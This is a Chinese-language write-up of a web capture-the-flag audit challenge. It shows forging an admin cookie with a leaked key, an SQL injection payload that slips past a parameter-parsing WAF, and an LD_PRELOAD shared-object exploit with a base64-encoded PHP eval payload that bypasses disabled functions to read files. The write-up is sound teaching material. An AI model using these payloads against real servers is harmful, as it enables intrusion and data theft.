挑战介绍
审计题,源码在/www.zip下,有waf,就是这么自信。什么,这个网站你见过?那我也不怕,网站升级了!
第一個坑 密码怎么会告诉你
進入後臺是通過cookie認證,表示默默地遇到了火日大大的坑。
encrypt.php
$pass="密码怎么会告诉你";
事實上,這就是真正的密鑰。
echo encrypt("admin")
生成的字符串寫入cookie,就繞過了。
username=AH0HDvW_h0kclJrjHQmjxs8qiHJEU2UqBJ7NGfQhtxI
第二個坑 SQL注入
漏洞來源:
http://www.wooyun.org/bugs/wooyun-2010-064792
http://www.wooyun.org/bugs/wooyun-2010-0171945
waf.php
$uri = explode("?",$_SERVER['REQUEST_URI']);
if(isset($uri[1])) {
$parameter = explode("&",$uri[1]);
foreach ($parameter as $k => $v) {
$v1 = explode("=",$v);
if (isset($v1[1])) {
$_REQUEST[$v1[0]] = stripStr($v1[1]);
}
}
}
/admin/waf.php
$sql="select * from user where id=".$_REQUEST["id"].";";
/admin/memo.php
注釋了備忘錄,所以要注入,讀取備忘錄信息。
構造Payload:
/admin/user.php?id=-1/**/union/**/select/**/1,1,1,content,1/**/from/**/memo/**/limit/**/0,1& id=1
得到信息
/NQTGmhlG3im8PUcsO2GgMCieThLtbqi4.php
password:firesun
第三個坑 putenv LD_PRELOAD
這個和alictf差不多、直接給出payload!
v.c
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
#include<dirent.h>
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
///flag_gei_ni_ni_Ye_du_bu_LIAO
FILE *fp1, *fp2;
fp1 = fopen("/tmp/virink", "w");
//dir
char buf[100];
DIR *dirp;
struct dirent *dp;
dirp = opendir("/");
while ((dp = readdir(dirp)) != NULL) {
fputs(dp->d_name, fp1);
}
closedir(dirp);
//flag
fp2 = fopen("/flag_gei_ni_ni_Ye_du_bu_LIAO", "r");
fgets(buf, 100, fp2);
fputs(buf, fp1);
fclose(fp1);
fclose(fp2);
}
分別生成讀目錄,讀文件兩個so。
exp.php
<form action="http://451bf8ea3268360ee.jie.sangebaimao.com/NQTGmhlG3im8PUcsO2GgMCieThLtbqi4.php" method="post" enctype="multipart/form-data">
<input type="text" name="firesun" id="v" value="eval(base64_decode('aWYoaXNzZXQoJF9GSUxFU1sndiddKSkgew0KCXByaW50X3IoJF9GSUxFUyk7DQoJbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ3YnXVsndG1wX25hbWUnXSwgIi90bXAvIi4kX0ZJTEVTWyd2J11bJ25hbWUnXSk7DQoJdmFyX2R1bXAoZmlsZV9leGlzdHMoIi90bXAvIi4kX0ZJTEVTWyd2J11bJ25hbWUnXSkpOw0KCXB1dGVudigiTERfUFJFTE9BRD0vdG1wLyIuJF9GSUxFU1sndiddWyduYW1lJ10pOw0KCXZhcl9kdW1wKG1haWwoImFAbG9jYWxob3N0IiwiIiwiIiwiIiwiIikpOw0KCWVjaG8gZ2V0ZW52KCJMRF9QUkVMT0FEIik7DQoJc2hvd19zb3VyY2UoIi90bXAvdmlyaW5rIik7DQp9'));"/>
<input type="file" name="v" id="v" />
<input type="submit" name="submit" value="Submit" />
</form>
通過exp.php分別上傳兩個so就OK了。
關於讀取文件,用show_source